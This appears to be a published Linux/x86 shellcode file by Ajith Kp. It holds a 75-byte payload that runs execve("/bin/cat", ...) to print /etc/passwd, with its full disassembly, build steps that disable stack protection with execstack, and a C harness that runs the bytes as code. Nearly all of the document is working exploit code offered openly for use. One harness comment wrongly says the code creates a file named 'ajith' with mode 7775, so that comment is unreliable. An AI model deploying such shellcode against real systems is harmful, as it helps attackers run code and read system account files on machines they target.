/* --------------------------------------------------------------------------------------------------- # Linux/x86 - execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) - 75 bytes # Tested in Zorin OS 10 x86 # Author: Ajith Kp Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ] Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih Shaantih Shaantih | --------------------------------------------------------------------------------------------------- Disassembly of section .text: 08048060 <.text>: 8048060: eb 1f jmp 0x8048081 8048062: 5b pop %ebx 8048063: 31 c0 xor %eax,%eax 8048065: 88 43 0b mov %al,0xb(%ebx) 8048068: 88 43 18 mov %al,0x18(%ebx) 804806b: 89 5b 19 mov %ebx,0x19(%ebx) 804806e: 8d 4b 0c lea 0xc(%ebx),%ecx 8048071: 89 4b 1d mov %ecx,0x1d(%ebx) 8048074: 89 43 21 mov %eax,0x21(%ebx) 8048077: b0 0b mov $0xb,%al 8048079: 8d 4b 19 lea 0x19(%ebx),%ecx 804807c: 8d 53 21 lea 0x21(%ebx),%edx 804807f: cd 80 int $0x80 8048081: e8 dc ff ff ff call 0x8048062 8048086: 2f das 8048087: 2f das 8048088: 2f das 8048089: 2f das 804808a: 62 69 6e bound %ebp,0x6e(%ecx) 804808d: 2f das 804808e: 63 61 74 arpl %sp,0x74(%ecx) 8048091: 23 2f and (%edi),%ebp 8048093: 2f das 8048094: 65 74 63 gs je 0x80480fa 8048097: 2f das 8048098: 70 61 jo 0x80480fb 804809a: 73 73 jae 0x804810f 804809c: 77 64 ja 0x8048102 804809e: 23 41 4a and 0x4a(%ecx),%eax 80480a1: 49 dec %ecx 80480a2: 54 push %esp 80480a3: 48 dec %eax 80480a4: 41 inc %ecx 80480a5: 4a dec %edx 80480a6: 49 dec %ecx 80480a7: 54 push %esp 80480a8: 48 dec %eax 80480a9: 4b dec %ebx 80480aa: 50 push %eax --------------------------------------------------------------------------------------------------- How To Run $ gcc -o cat_etc_passwd cat_etc_passwd.c $ execstack -s cat_etc_passwd $ ./cat_etc_passwd --------------------------------------------------------------------------------------------------- */ #include <stdio.h> char sh[]="\xeb\x1f\x5b\x31\xc0\x88\x43\x0b\x88\x43\x18\x89\x5b\x19\x8d\x4b\x0c\x89\x4b\x1d\x89\x43\x21\xb0\x0b\x8d\x4b\x19\x8d\x53\x21\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x63\x61\x74\x23\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x4a\x49\x54\x48\x41\x4a\x49\x54\x48\x4b\x50"; // It will create file named 'ajith' with permission 7775 void main(int argc, char **argv) { int (*func)(); func = (int (*)()) sh; (int)(*func)(); }